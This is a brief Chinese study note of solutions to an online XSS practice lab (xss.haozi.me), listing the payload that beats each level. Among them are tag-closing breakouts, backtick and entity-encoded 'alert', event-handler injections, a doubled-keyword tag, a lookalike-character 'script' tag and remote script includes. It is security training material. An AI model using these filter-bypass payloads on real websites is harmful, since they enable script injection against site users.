XSS练习
Table of Contents

实验平台

https://curtails.github.io/xss
https://xss.haozi.me

xss-demo

github
在线地址

拼凑所需语句即可不必关心原语句完整性??浏览器容错性??
- 0x00 <script>alert(1)</script> 无任何过滤
- 0x01 </textarea><script>alert(1)</script>闭合标签
- 0x02 "> <script>alert(1)</script>闭合标签
- 0x03

<script>alert`1`</script>
<svg><script>alert&#40;1&#41</script>

正则表达式过滤() 用``绕过或实体编码的字符编码
- 0x04 同0x03

<svg><script>alert&#40;1&#41</script>
<iframe onload=alert&#40;1&#41></iframe>
onmousemove
=alert(1)

type=image src onerror
=alert(1)
<svg/onload=alert(1) //有空格
</style ><script>alert(1)</script>
</style
><script>alert(1)</script>
https://www.segmentfault.com.haozi.me/j.js
https://www.segmentfault.com.haozi.me/j.js
<script src="https://www.segmentfault.com.haozi.me/j.js"></script>
<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>
alert(1)
-->
<ſcript src="https://xss.haozi.me/j.js"></script>
');alert('1   
'';alert(1)
"),alert(1)("
</script><script>alert`1`;</script><script>

\");alert(1)//
" 被转义成 \" 经过html解析后里面变成 console.log("\") 会报语法错误, 再补个 \ 即可